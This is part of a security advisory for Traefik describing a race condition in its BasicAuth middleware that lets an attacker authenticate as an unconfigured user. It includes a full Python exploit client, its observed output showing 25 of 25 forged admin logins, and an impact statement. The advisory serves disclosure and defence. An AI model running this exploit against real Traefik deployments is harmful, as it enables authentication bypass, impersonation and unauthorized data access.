Advisory

GHSA-6765-c87h-8mrf

Details, part 2 of 2. The advisory

Details

Start the backend and Traefik in separate shells.

Shell 1:

python3 backend.py

Shell 2:

./traefik --configFile=/absolute/path/to/static.yml

Exploit client

import base64
import http.client
import json
import threading
import time
import urllib.request

HOST = "127.0.0.1"
PORT = 18080
PASSWORD = "test"
HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."


def request(user, password):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    token = base64.b64encode(f"{user}:{password}".encode()).decode()
    conn.request("GET", "/", headers={"Authorization": f"Basic {token}"})
    response = conn.getresponse()
    body = response.read().decode().strip()
    status = response.status
    conn.close()
    return status, body


middleware = json.load(
    urllib.request.urlopen(
        "http://127.0.0.1:8080/api/http/middlewares/auth%40file"
    )
)
print("api_users", middleware["basicAuth"]["users"])
print("valid_baseline", request("viewer", PASSWORD))
print("attacker_baseline", request("admin", PASSWORD + HASH))

wins = 0
for _ in range(25):
    valid_result = {}
    valid = threading.Thread(
        target=lambda: valid_result.setdefault(
            "result", request("viewer", PASSWORD)
        )
    )
    valid.start()
    time.sleep(0.005)
    attack = request("admin", PASSWORD + HASH)
    valid.join()
    if attack == (200, "admin"):
        wins += 1

print("forged_admin_successes", wins, "of", 25)

Observed output

api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.']
valid_baseline (200, 'viewer')
attacker_baseline (401, '401 Unauthorized')
forged_admin_successes 25 of 25

The negative control proves that admin is not configured and cannot
authenticate alone. During the collision, all 25 requests were admitted and
the backend received the forged identity admin.

The same behavior was first reproduced with Apache MD5. Its much shorter hash
calculation window yielded 2 successful identity forgeries in 100 attempts.
Using normal production-strength bcrypt made the race deterministic in this
environment because the expensive comparison remains in flight long enough
for the second request to join it.

Impact

An attacker with read access to a configured password hash and the ability to
send concurrent requests can authenticate as an unconfigured username. When
headerField is enabled, the attacker-selected username is forwarded to the
backend as a trusted authenticated identity, enabling privilege impersonation,
unauthorized data access, unauthorized actions, and incorrect security audit
attribution. Without headerField, the request still bypasses BasicAuth and
reaches the protected service.

</details>

---

Sources & licences